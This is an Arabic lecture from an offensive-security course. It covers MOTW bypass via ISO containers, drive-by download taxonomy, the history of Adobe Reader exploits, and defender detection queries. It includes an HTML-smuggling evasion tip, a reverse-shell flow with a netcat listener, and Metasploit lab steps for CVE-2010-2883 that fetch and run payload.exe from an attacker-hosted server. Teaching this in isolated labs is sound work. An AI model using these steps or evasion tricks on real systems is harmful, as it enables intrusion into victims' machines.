2022APT29 (Cozy Bear / NOBELIUM / Midnight Blizzard)Mandiant "Trello From the Other Side" (أبريل 2022): HTML-smuggling dropper اسمه ROOTSAW / EnvyScout يُعيد بناء ISO في المتصفح عبر JS blob + <a download>، يُسقط بلا MOTW، ينفّذ LNK يُحمّل Cobalt Strike Beacon: مزيج ثنائي التهرّب من MOTW

التأطير الصناعي:

  • HP Wolf Security Threat Insights Q3 2022، ارتفاع 11% ربع-عن-ربع في malware بصيغة archive، وقفزة واضحة في .iso، .img، .vhd، استخدم مصطلح "عام الـ ISO".
  • Proofpoint "The Long Con" (يوليو/أكتوبر 2022)، انخفاض ~66% في حملات الماكرو مقابل ارتفاع مقابل في التوصيل عبر الحاويات.
  • Mandiant M-Trends 2023، إساءة ISO/container أحد تقنيات الوصول الأولي المميّزة لفترة تقارير 2022.

4.8 استجابة Microsoft: تصحيح 8 نوفمبر 2022

في Patch Tuesday 8 نوفمبر 2022، شحنت Microsoft إصلاحات (متتبّعة في CVE-2022-41091) تُنقّل Zone.Identifier من الحاوية إلى الملفات داخل ISO/IMG/VHD/VHDX المُركّبة. الأثر:

  • تشغيل executable مُستخرج من ISO مُنزّل يُطلق SmartScreen الآن.
  • فتح .docm من ISO يُفتح في Protected View مع حظر الماكرو.
  • Zone.Identifier ADS يُنشأ لحظياً عند القراءة.

Microsoft أصلحت أيضاً مشكلة تجريد MOTW في 7-Zip/WinRAR عبر تحديثات لهاتين الأداتين في أكتوبر–نوفمبر 2022، كل الحاويات الرئيسية أُغلقت خلال أسابيع.

تحوّل المهاجم بعد نوفمبر 2022:

  • ملفات LNK مباشرة داخل ZIP archives.
  • مرفقات OneNote (.one) بسكربتات/executables مضمّنة، الطاغي في Q1 2023 حتى صحّحت Microsoft OneNote في أبريل/مايو 2023.
  • حزم MSIX / AppX، تنسيق مثبّت موقّع يتخطى مطالبات SmartScreen؛ يُساء استخدامه من GHOSTPULSE.
  • SVG smuggling, HTML smuggling, CHM, WSF, VHD، وعودة اهتمام XLL add-ins.

4.9 خريطة MITRE ATT&CK

TechniqueIDمكانها
User Execution: Malicious FileT1204.002المستخدم يعمل double-click على ISO ثم LNK
Subvert Trust Controls: MOTW BypassT1553.005تجاوز الحاوية نفسه؛ MITRE أضاف هذا الفرع في v11 (أبريل 2022) صراحةً لحيلة ISO
Obfuscated Files or Information: Embedded PayloadsT1027.009DLLs/سكربتات خبيثة مخفية داخل ISO بخاصية hidden
Stage Capabilities: Upload MalwareT1608.001استضافة الـ ISO على بنية تحتية مُسيطر عليها (Discord CDN, OneDrive)
Phishing: Spearphishing Attachment / LinkT1566.001 / T1566.002التوصيل
Command and Scripting InterpreterT1059LNK يستدعي cmd/PowerShell/rundll32/regsvr32
Hijack Execution Flow: DLL Side-LoadingT1574.002خطوة نهائية شائعة: EXE موقّع + DLL خبيث داخل ISO

احفظ للامتحان: T1553.005.

4.10 الكشف

Sysmon:

  • EventID 11 (FileCreate) على *.iso, *.img, *.vhd, *.vhdx تحت \Users\*\Downloads\، \AppData\Local\Temp\.
  • EventID 15 (FileCreateStreamHash) لالتقاط إنشاء Zone.Identifier.
  • EventID 1 (ProcessCreate) لأطفال explorer.exe على حرف محرك لم يكن موجوداً عند التمهيد.

سجلات Windows المدمجة:

  • Microsoft-Windows-VHDMP/Operational، يسجّل تركيب/فك تركيب الأقراص الافتراضية مع مسار الملف. غير مُستخدم بما يكفي، دقّة عالية جداً.

Microsoft Defender for Endpoint:

kql
DeviceEvents
| where ActionType == "MountedDiskImage"
| where FileName endswith ".iso" or FileName endswith ".img"
| join kind=inner DeviceProcessEvents on DeviceId
| where InitiatingProcessFileName in ("explorer.exe","outlook.exe","chrome.exe","msedge.exe")

تصلّب السياسات:

  • GPO / Intune: حذف أو ACL-تقييد HKCR\Windows.IsoFile\shell\mount\command. المستخدمون يستطيعون استخراج ISOs عبر 7-Zip لكنهم يفقدون التركيب التلقائي.
  • AppLocker / WDAC: رفض التنفيذ من محركات removable/optical، أو executables على volume من نوع DRIVE_CDROM.

🎯 فرضية صيد ذهبية:

"أرِني كل عملية أُطلقت من حرف محرك أنشأه حدث MountedDiskImage في الدقائق الخمس السابقة، حيث مسار الصورة المُركّبة تحت Downloads أو Temp المستخدم."

4.11 السلسلة الكاملة (End-to-End) على Windows 11 24H2

⚠️ بعد تصحيح Microsoft في 8 نوفمبر 2022 (CVE-2022-41091) الـ ISO المُنزّل من الإنترنت مباشرة يُنقل MOTW لملفاته الداخلية. للتحقّق التعليمي:

  • قبل التصحيح (Win10 pre-KB5019959 / Win11 pre-KB5019961): يعمل كما هو، لا SmartScreen.
  • بعد التصحيح: SmartScreen يحذّر لأن Report.pdf.exe داخل ISO يرث MOTW.
  • الحل الحديث (2023+): ضع الـ ISO داخل صفحة HTML smuggling → المتصفح يبني ISO من JS blob في الذاكرة → عند الحفظ لا MOTW على الحاوية → لا MOTW على المحتوى.

تدفّق التنفيذ بغض النظر عن MOTW:

text
┌─── Kali (attacker) ────────┐        ┌─── Windows Victim ───────────┐
│ Terminal: nc -nlvp 4444    │        │ 1. يحفظ Report.iso من البريد │
│                            │        │ 2. double-click على ISO      │
│                            │        │ 3. Windows يُركّبه (drive E:) │
│                            │        │ 4. يفتح E:\Report.pdf.exe    │
│                            │        │ 5. Binder يستخرج:            │
│                            │        │     - decoy.pdf → يفتحه ✓    │
│                            │        │     - payload.exe → hidden ✗ │
│  ← shell arrives on 4444   │◄───────│ 6. reverse shell connects    │
└────────────────────────────┘        └──────────────────────────────┘

✅ اختبر نفسك: القسم 4

  1. ما هو MOTW تقنياً؟ ما اسم الـ Alternate Data Stream الذي يحمله؟
  2. لماذا احتفلت مجموعات APT بـ ISO بين أبريل ونوفمبر 2022 بالذات؟ ما القرار من Microsoft الذي حفّز التحوّل؟
  3. اذكر ثلاث عائلات malware استخدمت ISO في 2022 وشركة threat-intel وثّقت كلاً منها.
  4. ما رقم CVE الذي أصلحت به Microsoft ثغرة نقل MOTW في نوفمبر 2022؟
  5. ما البدائل التي انتقل إليها المهاجمون بعد نوفمبر 2022 (اذكر اثنين)؟

3/5 = تابع. أقل = راجع الجدول 4.7 والقسم 4.8.


القسم 5القسم 5: الخريطة الكاملة: خمس طرق × MITRE ATT&CK

جدول موحّد للطرق الخمس التي درسناها حتى الآن. احفظ هذه الخريطة، ستتكرر في كل واجب وكل امتحان.

#الطريقةTactic الرئيسيTechniqueSub-TechniqueReal APT/Campaign (Year)
❶Trojan BinderExecution + Defense EvasionT1204.002 User Execution: Malicious FileT1036.005 Masquerading: Match Legitimate Name or LocationEmotet (2020): بايندر مع "Invoice.pdf.exe"؛ Poison Ivy عبر Nitro (2011)
❷HTA / mshta LOLBinExecution + Defense EvasionT1059 Command and Scripting Interpreter + T1218.005 MshtaT1059.005 VB / T1059.007 JSKimsuky CISA AA20-301A (2020)؛ APT32 (2017)
❸PowerShell CradleExecutionT1059.001 PowerShell+ T1105 Ingress Tool Transfer + T1027.010 Command ObfuscationEmotet (2014–2021)؛ APT29 SolarWinds/Raindrop (2020)؛ PowerTrick TrickBot (2019)؛ DarkSide Colonial (2021)
❹Batch + certutil DropperExecutionT1059.003 Windows Command Shell+ T1105 (via certutil) + T1140 Deobfuscate + T1218 (Squiblydoo)Lazarus Operation In(ter)ception (2019)؛ Kimsuky STOLEN PENCIL (2018)؛ APT32 (2019); MuddyWater (2019+)
❺ISO / IMG / VHD ContainerDefense Evasion + ExecutionT1204.002 User ExecutionT1553.005 MOTW Bypass + T1027.009 Embedded Payloads + T1574.002 DLL Side-LoadingEmotet (2022)؛ Qakbot (2022)؛ BumbleBee (2022)؛ IcedID (2022)؛ APT29 Trello From the Other Side (2022)؛ LockBit affiliates (2022)

مصفوفة مقارنة، أين تُقاس كل طريقة على المحاور الثلاثة؟

الطريقةالتسليم (Axis A)التنفيذ (Axis B)شكل الحمولة (Axis C)
Trojan BinderEmail attachment / USB / drive-by pageUser double-clickPE موحّد .exe
HTAEmail link / mshta URL / drive-byUser double-click أو mshta يُستدعىسكربت .hta (VBS/JS)
PowerShell Cradleدائماً stage 2 (يُستدعى من ماكرو، LNK، HTA…)in-process في powershell.exeنص PowerShell في الذاكرة
Batch + certutilEmail ZIP / ISO / USBUser double-click على .batملف نصي .bat + PE من %TEMP%
ISO ContainerEmail attachment / drive-byUser double-click → mount → LNK → LOLBinحاوية .iso مع LNK داخلها

🎯 لاحظ: لا توجد طريقة واحدة كافية وحدها. الاختراقات الحقيقية سلاسل: ISO يحتوي LNK يستدعي mshta يشغّل HTA يُطلق PowerShell cradle يجلب Cobalt Strike Beacon. كل حلقة من هذه الحلقات تنتمي لتقنية MITRE مختلفة.

✅ اختبر نفسك: القسم 5

بلا العودة للجدول:

  1. الطريقة الوحيدة من الخمس التي تعتمد على T1553.005 (MOTW Bypass)، من هي؟
  2. الطريقة التي دائماً stage-2 وليست point-of-entry، من هي؟ ولماذا؟
  3. اربط بين هذه الطرق وسلسلة اختراق حقيقية: ISO → LNK → mshta → PowerShell → Cobalt Strike. اذكر التقنية MITRE لكل خطوة.
  4. الطريقتان اللتان تُصنّفان أساساً تحت T1204.002 (المستخدم يُشغّل ملفاً خبيثاً بيده)، من هما؟

4/4 صحيحة = فهمت الجوهر. أقل = راجع مصفوفة القسم 5.


القسم 6القسم 6: أين يقع "Drive-by Download" في التصنيف؟

6.1 الالتباس الشائع

كثير من المصادر التعليمية تُستخدم "drive-by download" كعنوان مظلّة للتوصيل، ثم تضع تحته Binder و PDF exploit و steganography كمواضيع فرعية. هذا يخلط المحاور ويجعل الطلاب يعيدون تعلّم التصنيف عند قراءة أول تقرير Mandiant.

6.2 التعريف الكلاسيكي الدقيق (2004–2015)

Drive-by Download بمعناه الأصلي والدقيق تقنياً:

تنزيل وتنفيذ كود على جهاز الضحية بمجرد زيارة صفحة ويب، بلا نقرة، بلا dialog، بلا فتح ملف، بلا موافقة تتجاوز الملاحة إلى URL.

الخاصية المُحدِّدة: غياب التفاعل بعد رندر الصفحة في متصفح مُصاب بثغرة.

  • الناقل: تحميل صفحة HTTP/HTTPS في متصفح (أو iframe إعلاني).
  • الآلية: ثغرة تلف ذاكرة (heap spray, use-after-free, type confusion) ضد محرك المتصفح أو إضافة (Adobe Flash، Java applet، Silverlight، ActiveX في IE).
  • الحمولة: shellcode يعمل في عملية المتصفح، غالباً stager يجلب ثنائي كامل (بنكي، ransomware، RAT).

هذا المعنى النظيف، مُستَغِلّ، بلا تفاعل، هو ما كانت الأدبيات الأكاديمية (Provos et al. 2007 "The Ghost in the Browser") وتقارير الموردين (Symantec ISTR 15–24) تُشير إليه.

6.3 عصر مجموعات الاستغلال (Exploit Kits)

الطُغاة في التوصيل drive-by بعد التجاري:

EKالفترة النشطةملاحظة
MPack2006–2008أول من نشر نموذج traffic broker
Blackhole2010–2013الطاغي في عصره؛ اعتُقل مؤلّفه "Paunch" أكتوبر 2013 فانهار
Angler2013–2016الأكثر تطوراً؛ file-less payloads و Flash 0-days؛ اختفى يونيو 2016 (اعتقالات Lurk في روسيا)
RIG2014–حتى الآنمُخفّض الدور الآن؛ يخدم SmokeLoader و RedLine عبر malvertising
Magnitude2013–حتى الآنمُستهدف جغرافياً (كوريا الجنوبية → Magniber ransomware)

6.4 لماذا مات Drive-by الكلاسيكي فعلياً

فترة 2016–2022 أغلقت كل الأبواب تقريباً:

  • Adobe Flash EOL: 12 يناير 2021.
  • Oracle Java NPAPI، Chrome أزالها 2015، Firefox 2017.
  • Silverlight، EOL أكتوبر 2021.
  • Internet Explorer، تقاعد 15 يونيو 2022.
  • ASLR + DEP + CFG + site isolation + sandboxes + auto-updating browsers، كل هذه الحماية تعمل معاً.
  • الاقتصاد: exploit chain كامل لـ Chrome يُباع بـ $2M–$3M+ على Zerodium/Crowdfense. لا يستطيع crimeware تجاري حرقه من أجل $500 فدية.

النتيجة: drive-by بمعناه الكلاسيكي منقرض تجارياً. يبقى فقط في exploit chains دولة-قومية (Pegasus, Predator, Reign، مستهدفة حصرياً).

6.5 الاستخدام الحديث الفضفاض (2020+)

الصناعة تمدد المصطلح ليشمل downloads مُهندسة اجتماعياً بلا موافقة ذات معنى. أمثلة تُسمّى "drive-by" في مدوّنات الموردين:

  • SocGholish (aka FakeUpdates)، JS مُحقن في مواقع WordPress مخترقة، يعرض صفحة "متصفحك قديم"، يُقدّم ZIP فيه JScript loader. TA569 منذ ~2018، مصنّف #1 كناقل وصول أولي في Mandiant M-Trends 2023/2024 لأمريكا الشمالية.
  • ClickFix / "Paste and Run"، CAPTCHA مزوّر يطلب من المستخدم ضغط Win+R، Ctrl+V، Enter للصق PowerShell one-liner. انفجر في 2024. يُوصل Lumma Stealer, DarkGate, NetSupport RAT, XWorm.
  • Gootloader، SEO-poisoning لمواقع WordPress، ترتيب على استعلامات "nda template Ontario"، يُقدّم ZIP فيه JS مُشوّش.
  • Malvertising loaders (2023–2025)، Google Ads تُقلّد Notion, Slack, KeePass, OBS، MSI/MSIX مُتَرْجَنة.

⚠️ هذه ليست drive-by بالمعنى الكلاسيكي. كلها تتطلب على الأقل double-click أو لصق أمر. استخدام الموردين "drive-by" هنا اختصار تسويقي فضفاض.

6.6 الخارطة الذهنية الصحيحة: المحاور الثلاثة

Axis A، التسليم (كيف تصل البايتات؟):

  • Email attachment / link
  • Drive-by page (كلاسيكي أو حديث)
  • Watering hole
  • Malvertising
  • SEO poisoning
  • USB drop / supply-chain
  • Update channel compromise

Axis B، التنفيذ (ما الذي يجعل الكود يعمل؟):

  • تلقائي عند رندر الصفحة (drive-by كلاسيكي)
  • تلقائي عند فتح المستند (PDF exploit، نأتي إليه في المحاضرة القادمة)
  • User double-click (T1204.002)
  • User-triggered command paste (ClickFix، T1204.004)
  • Auto via LNK / autorun / scheduled task / WMI
  • LOLBin: mshta/rundll32/regsvr32 من أب

Axis C، شكل الحمولة:

  • Trojan Binder، HTA، PowerShell script/cradle، Batch، ISO/IMG/VHD، Macro Office، OneNote، LNK، SVG smuggling، PDF (lure أو exploit حقيقي).

🎯 النقطة التعليمية الجوهرية: شكل الحمولة مستقل عن التسليم. HTA يمكن أن يصل بالبريد، بـ drive-by، بـ USB. صفحة drive-by يمكن أن تُسلّم أي شكل حمولة.

6.7 تطبيق: كيف تُقرن الطرق الخمس بالتوصيل drive-by؟

الطريقةهل هي drive-by بالمعنى الكلاسيكي؟ATT&CKلماذا / لم لا؟
Trojan Binderلا.T1204.002يتطلب double-click. قد يصل عبر صفحة drive-by (fake update) لكن التصنيف "user execution"، لا drive-by
HTA / LOLBinلا.T1218.005 (Mshta) + T1204.002HTA يحتاج إطلاق: المستخدم ينقر، أو ماكرو يُطلق mshta
PowerShell Cradleلا: دائماً stage 2.T1059.001 + T1105الـ cradle نفسه لا يصل للجهاز؛ شيء آخر (macro/LNK/HTA/ClickFix paste) يُشغّله
Batch Dropperلا.T1059.003 + T1204.002يتطلب تنفيذ: double-click من ZIP أو ISO
ISO Containerلا (لكنه شائع جداً حالياً كتغليف بعد التسليم).T1553.005 + T1204.002يجب تنزيله وdouble-click؛ Windows يُركّبه؛ MOTW لا ينتقل في الحاويات القديمة: هذا سبب التحوّل لـ ISO/IMG/VHD بعد حظر ماكرو الإنترنت في يوليو 2022
True PDF Exploit (المحاضرة القادمة)الأقرب لـ drive-by الكلاسيكي: عند فتح الملفT1203 Exploitation for Client Executionفتح PDF يُطلق shellcode بلا موافقة إضافية: نفس خاصية "لا تفاعل ذو معنى"

✅ اختبر نفسك: القسم 6

  1. عرّف "drive-by download" بمعناه الكلاسيكي الدقيق بجملة واحدة (2004–2015).
  2. لماذا مات drive-by الكلاسيكي تجارياً بعد 2021؟ اذكر سبباً تقنياً وآخر اقتصادياً.
  3. ClickFix / "paste and run"، تحت أي فرع من MITRE (T1204.NNN)؟ لماذا ليست drive-by كلاسيكية رغم أنها تُقدَّم في صفحة ويب؟
  4. من بين طرقنا الخمس، أيّها يُقارَب فعلياً drive-by الكلاسيكي، ولماذا لا تصل تماماً؟
  5. اشرح جملة "شكل الحمولة مستقل عن التسليم" باستخدام HTA كمثال.

3/5 = فهمت التصنيف. أقل = راجع الأقسام 6.6 و 6.7.


القسم 7القسم 7: لمحة عن المحاضرة القادمة: استغلال Adobe Reader Weaponized PDF

7.1 القفزة النوعية

كل الطرق التي درسناها حتى الآن، Binder، HTA، Cradle، Batch، ISO، تتطلب في مكان ما تفاعلاً من المستخدم: نقر مزدوج، Enable Content، ضغط "Allow".

المحاضرة القادمة تكسر هذا الحاجز:

ملف .pdf حقيقي + ثغرة حقيقية في Adobe Reader + إصدار قابل للاستغلال = تنفيذ كود عن بُعد بصفر نقرات بعد فتح الملف.

هذا ما يُسمّى "weaponized PDF"، ليس PDF فيه رابط، ولا PDF فيه /Launch (اجتماعي)، بل PDF بنيتُه نفسها تُطلق ثغرة parser في القارئ.

7.2 التمييز الحاسم: ثلاث أنواع من "PDFs الخبيثة"

النوعكيف يعملتفاعل المستخدمATT&CK
PDF فيه رابط phishingيعرض نصاً مُقنعاً "اضغط هنا لتحديث كلمة سرك"نقرة على الرابط + إدخال كلمة السرT1566.002
PDF فيه /Launch (نمط msfvenom -f pdf)كائن /OpenAction مع /Launch يحاول تشغيل EXE مضمّنيجب أن يضغط "Allow" في dialog يقول "Do you want to run this executable?": معظم Adobe منذ 9.3 (2009) يحظره افتراضياًT1204.002: هندسة اجتماعية بحتة
PDF-Exploit حقيقيكائن TIFF/BMP/JBIG2/Font مُشوّه يُحدث تلف ذاكرة أثناء الرندر → shellcodeصفر بعد الفتحT1203

7.3 لماذا إصدار القارئ حاسم؟

كل PDF exploit عقد مع build مُعيّن. مسار الكود الضعيف، offset دقيق لعنوان return، layout قطعة heap، وجود parser غير مُصحّح، موجود فقط في إصدارات معيّنة.

حالة القارئنتيجة فتح نفس evil.pdf
إصدار ضعيف غير مُصحّحRCE صامت، الحمولة تعمل
إصدار مُصحّحالكائن مرفوض، أو معالَج بأمان
قارئ حديث في sandbox (Reader DC, Chrome PDFium)حتى لو الثغرة موجودة، الـ sandbox يحوي الـ shellcode؛ الهروب يحتاج ثغرة ثانية
إصدار minor خاطئالاستغلال يُعطّل القارئ عادةً (offsets مُنزاحة): DoS لا RCE

هذا يشرح لماذا يشحن مطوّرو الاستغلال exploits مربوطة بـ Adobe Reader 9.3.4 أو Foxit 9.0.1.1049 بدلاً من "Adobe Reader" عموماً. وهو يشرح لماذا التصحيح يقتل الاستغلال يوم تثبيته.

7.4 خط زمني: ثغرات PDF بارزة

CVEالسنةالقارئ الضعيفالثغرةالحملة الشهيرة
CVE-2010-01882010Adobe Reader 8.x < 8.2.1, 9.x < 9.3.1Integer overflow في libtiff المُضمّن (parsing TIFF في AcroForm)مُدمج في Blackhole، Phoenix، Eleonore EKs خلال أسابيع
CVE-2010-28832010Adobe Reader/Acrobat 8.x < 8.2.5, 9.x < 9.4Stack overflow في CoolType.dll: حقل uniqueName في جدول خط SINGNitro attacks (Symantec, أكتوبر 2011): ~48 شركة كيماوية ودفاعية، Poison Ivy RAT: منسوبة لـ "Covert Grove" (VPS في هيبي، الصين)
CVE-2013-0640 + CVE-2013-06412013Adobe Reader XI 11.0.1Type confusion/UAF في XFA + buffer overflow: أول هروب sandbox علني ضد Reader XI Protected ModeMiniDuke (Kaspersky + CrySyS، فبراير 2013): 23+ حكومة و NGO في 20+ دولة (أيرلندا، البرتغال، رومانيا، هنغاريا، بلجيكا، أوكرانيا، وأمريكا)؛ backdoor أسيمبلي ~20KB يستخدم Twitter لـ C2؛ لاحقاً مربوط بـ APT29 / Cozy Bear (F-Secure "The Dukes" 2015)
CVE-2013-27292013Adobe Reader 9.x < 9.5.5, 10.x < 10.1.7, 11.x < 11.0.03Integer overflow في BMP/RLE parser داخل XFAمُدمج في Metasploit
CVE-2018-4990 + CVE-2018-81202018Adobe Reader/Acrobat DC < 2018.011.20038Double-free في JPEG2000 decoder + NULL page deref في win32k!SetImeInfoEx (ring-0 escape)اكتُشف من ESET (Cherepanov و Faou، مايو 2018) عبر VirusTotal upload
CVE-2023-263692023Acrobat DC 23.003.20284 وأقدمOOB write في font parserمُضاف لـ CISA KEV في 13 سبتمبر 2023؛ Adobe اعترف بـ "هجمات محدودة في البرية"
CVE-2018-14442 / 39242018Foxit Reader < 9.3 / 9.0.1.1049UAF في JavaScript APIsاكتشفها Cisco Talos و Source Incite

7.5 نمط الاستهداف

2007–2013: العصر الذهبي لاستغلال PDF. Adobe Reader شبه شامل، يعمل خارج أي sandbox، ويشحن سطح هجوم ضخم: JavaScript engine، Flash مضمّن، 3D (U3D/PRC)، XFA forms، fonts (CoolType)، ونصف دزينة من image decoders.

2013–2017: التضييق العظيم.

  • Adobe شحن Protected Mode (Reader X, 2010) و Protected View (Reader XI, 2012).
  • CVE-2013-0640/0641 كسر sandbox Reader XI في البرية، من قلة حالات هروب sandbox العلنية.
  • Reader DC (2015) شدّد sandbox وأضاف AppContainer.
  • المتصفحات بدأت تشحن قرّاء PDF مدمجين: Chrome PDFium، Firefox pdf.js، Edge، عندما يفتح المستخدم PDF اليوم يُرندر عادة في المتصفح.

2018–حاضر: الذيل الطويل.

  • بقايا Reader DC (CVE-2018-4990, CVE-2023-26369) تُستخدم في حملات APT مستهدفة، لا crimeware جماعي.
  • هروب sandbox الآن سلسلة من ثغرتين أو ثلاث.
  • Foxit يحمل ذيل bugs أثقل من Adobe الحديث.
  • Adobe Reader 9/X/XI القديم غير المُصحّح يبقى في بيئات air-gapped ومُضمّنة (غرف تحكم صناعية، أنظمة حكومية قديمة).

7.6 حملات APT شهيرة تستخدم PDF exploitation

  • Operation Aurora (2009–2010)، الناقل الأولي CVE-2010-0249 في IE 6، ليس PDF (خلط شائع). حملات المتابعة استخدمت PDF/Office droppers، لكن يجب الدقة.
  • Nitro (2011)، CVE-2010-2883 → Poison Ivy → ~48 شركة كيماوية/دفاعية. Symantec Chien & O'Gorman.
  • MiniDuke (2013)، CVE-2013-0640/0641 → assembler backdoor → 23+ حكومة. Kaspersky + CrySyS، لاحقاً APT29.
  • Sofacy / APT28 (2015–2018)، PDF droppers في spear-phishing chains ضد NATO، DNC.
  • DarkHotel (2014–2017)، Kaspersky وثّق اختراق hotspots فنادق آسيا لدفع PDF/Flash exploits على مسافرين تنفيذيين.

7.7 لماذا الحمولة تعمل فقط في الإصدارات الضعيفة؟

القرّاء الحديثون يُضيفون طبقات:

  • ASLR، عناوين DLL و heap عشوائية → shellcode بعناوين ثابتة يفشل.
  • DEP/NX، الذاكرة المُتلَفة غير قابلة للتنفيذ.
  • CFG، indirect calls تُتحقق من bitmap → فساد vtable مرفوض.
  • Sandbox / Protected Mode، حتى مع اختراق parser، الهروب يحتاج ثغرة ثانية (kernel).
  • إزالة سطح الهجوم، Flash أُزيل (2020)، 3D معطّل افتراضياً، JavaScript blacklists.

7.8 ماذا تُعلّم PDF exploits ما لا يُعلّمه Binder/HTA/Cradle؟

المفهومBinder/HTA/CradlePDF Exploit
هل يحتاج تفاعل المستخدم؟نعم (double-click أو Enable)لا (فقط الفتح)
هل التصحيح يوقفه؟لا (سلوك لا bug)نعم (bug مُحدّد يُغلق)
هل الإصدار الدقيق مهم؟لانعم (كل exploit عقد مع build)
ATT&CK Tactic الرئيسيExecution + Defense EvasionInitial Access + Execution via T1203
هل يعمل ضد قارئ حديث في sandbox؟نعم عادةلا بدون exploit ثاني (kernel/sandbox escape)
اقتصاد السوقمجاني/عامChain كاملة $2M–$3M على Zerodium

النقطة الفكرية: PDF exploit يُعرّفنا على T1203، Exploitation for Client Execution، فئة تختلف عن كل ما سبق. إنها الطريقة التي بها NSO Pegasus و Predator و Reign يخترقون الهواتف في 2026، نفس المبدأ.

7.9 خريطة MITRE للمحاضرة القادمة

TechniqueID
Exploitation for Client ExecutionT1203
User Execution: Malicious File (نموذج /Launch)T1204.002
Phishing: Spearphishing AttachmentT1566.001
Exploitation for Privilege Escalation (chain مع kernel)T1068

الاقتران التعليمي الذي سنُبرزه: T1566.001 → T1203 → T1068.

✅ اختبر نفسك: القسم 7

  1. ما الفرق العملي بين PDF بـ /Launch (نمط msfvenom -f pdf) و PDF-Exploit حقيقي (نمط CVE-2010-2883)؟ أيّهما يطلب موافقة الضحية؟
  2. لماذا إصدار القارئ حاسم لكل PDF exploit، ما الذي يتغيّر بين Reader 9.3.0 و 9.4 يجعل نفس الحمولة تنجح أو تفشل؟
  3. اذكر ثلاث مجموعات APT استخدمت PDF exploits حقيقية، ورقم CVE واسم الحملة والسنة.
  4. لماذا Adobe Reader DC الحديث يهزم CVE-2010-2883 حتى لو لم تُصحّح، رغم أن الثغرة "موجودة" نظرياً؟
  5. ما الذي يُعلّمك PDF exploit عن الأمن الهجومي ولم يُعلّمك إياه Binder ولا HTA ولا Cradle؟

3/5 = جاهز للمحاضرة القادمة. أقل = راجع 7.1 و 7.3 و 7.7.


القسم 8القسم 8: الواجب والتحضير المخبري

8.1 واجب نظري (يُسلّم قبل المحاضرة القادمة)

  1. خريطة ATT&CK يدوية. خذ حادثة SolarWinds SUNBURST (ديسمبر 2020)، اقرأ مدوّنة Microsoft Solorigate deep dive. اكتب: — 5 سلوكيات منفصلة على الأقل من الحادثة. — لكل سلوك: التكتيك (TA)، التقنية (T)، الفرعية (T.NNN) إن وُجدت. — أنشئ layer في ATT&CK Navigator وصدّرها كـ JSON، أرفق الملف مع الواجب.
  1. تحليل حالة "عام الـ ISO". اقرأ Mandiant "Trello From the Other Side" (أبريل 2022) عن APT29. أجب: — كيف تمكّن HTML smuggling من إسقاط ISO بدون MOTW على الحاوية نفسها؟ — لماذا احتاج APT29 لدمج حاويتين من تهرّب MOTW في نفس السلسلة؟ — ما التقنية MITRE (بالـ ID) لكل مرحلة من مراحل السلسلة؟
  1. بحث أدوات. ابحث عن 5 LOLBins من LOLBAS لم تُذكر في المحاضرة، ولكل واحد اكتب: — اسم الثنائي. — القدرة المُساء استخدامها (تنزيل، تنفيذ، إخفاء…). — MITRE Technique المُقترنة.

8.2 تحضير مخبري للمحاضرة 5 (استغلال Adobe Reader)

⚠️ كل الخطوات في بيئة معزولة فقط، VM بشبكة Host-Only، snapshot قبل كل خطوة.

بيئة الضحية:

  1. أنشئ VM جديد بـ Windows 7 SP1 x86 (32-bit ضرورية لبعض الاستغلالات القديمة). — قرص 40GB، RAM 2GB، شبكة Host-Only فقط. — عطّل Windows Update كلياً. — عطّل Defender من GPO.
  2. نزّل Adobe Reader 9.3.0 من أرشيف موثوق. تحقّق من الـ SHA-256 مقابل Adobe Security Bulletin APSB10-07 قبل التشغيل. المصادر المعتمدة: — <https://web.archive.org/web/*/get.adobe.com/reader/> — إذا لم تجد، تواصل مع المُدرّس للحصول على hash مُثبَّت.
  3. ثبّت Reader 9.3.0 على VM Win7.
  4. خُذ snapshot اسمه win7-reader9.3.0-fresh.

بيئة المهاجم (Kali):

bash
# تأكد من Metasploit محدّث
sudo apt update && sudo apt install -y metasploit-framework
msfconsole -q

داخل msfconsole:

text
msf6 > search cve:2010-2883
msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
msf6 exploit(...) > show options
msf6 exploit(...) > set FILENAME lecture5-demo.pdf
msf6 exploit(...) > set PAYLOAD windows/download_exec
msf6 exploit(...) > set URL http://<IP-kali-في-host-only>:8080/payload.exe
msf6 exploit(...) > run

🎯 لماذا windows/download_exec وليس meterpreter/reverse_tcp؟ لأن الـ shellcode داخل PDF exploit صغير جداً، عشرات البايتات فقط تسع بين offsets الـ SING table. لذا نستخدم stager يحمل مهمة واحدة: تنزيل نفس payload.exe من المحاضرة 1 وتشغيله. هكذا نحافظ على وحدة الحمولة عبر كل المحاضرات، التسليم يتغيّر (Binder → HTA → Cradle → Batch → ISO → PDF exploit)، لكن الحمولة الفعلية دائماً payload.exe والمُلتقِط دائماً nc -nlvp 4444.

هذا يُنشئ ~/.msf4/local/lecture5-demo.pdf. لا تنقله لأي جهاز خارج المعمل.

على Kali، شغّل بالتوازي قبل فتح الـ PDF على الضحية:

bash
# نافذة 1 — يُستضيف payload.exe للاستدعاء من داخل PDF exploit
python3 -m http.server 8080 --directory /home/hash-hash/ctf/dev/red-ctf/delivery/

# نافذة 2 — nc listener لاستقبال reverse shell عندما يعمل payload.exe
nc -nlvp 4444

في المحاضرة القادمة سنُنفّذه على Reader 9.3.0 ونُظهر:

  • reverse shell على nc listener بلا أي "Allow" prompt، على عكس نمط /Launch من المحاضرة 2 الذي يحتاج موافقة صريحة.
  • نفس الملف يُفتح بأمان في Adobe Reader DC حديث (الثغرة مُصحّحة).
  • نفس الملف يفشل صامتاً على Reader 9.4 (offsets مُنزاحة).

8.3 قراءة إجبارية قبل المحاضرة القادمة

8.4 أسئلة للتفكير قبل الحضور

  1. لماذا يقول Provos et al. أن drive-by download الكلاسيكي يتطلب صفر تفاعل، وكيف يختلف هذا عن كل الطرق الخمس التي درسناها في المحاضرة 2 و 4؟
  2. إذا صحّح Adobe ثغرة CVE-2010-2883 اليوم على جهازك، هل يبقى msfvenom -f pdf يعمل ضده؟ لماذا نعم أو لماذا لا؟
  3. مجموعة APT29 استخدمت PowerShell (SolarWinds 2020) و PDF exploits (MiniDuke 2013). أيّهما يتطلب إصداراً محدداً من البرنامج المُستهدف، وأيّهما يعمل عبر كل الإصدارات؟

📚 الملحق: روابط سريعة

MITRE:

PowerShell Cradle:

certutil / LOLBins:

ISO / MOTW:

Drive-by:


نهاية المحاضرة 4. في المحاضرة 5 نُشعل fuse حقيقي على Adobe Reader 9.3.0 ونرى ما معنى "شغّل الحمولة بدون سؤال المستخدم"، الطريق إلى T1203 بدأ.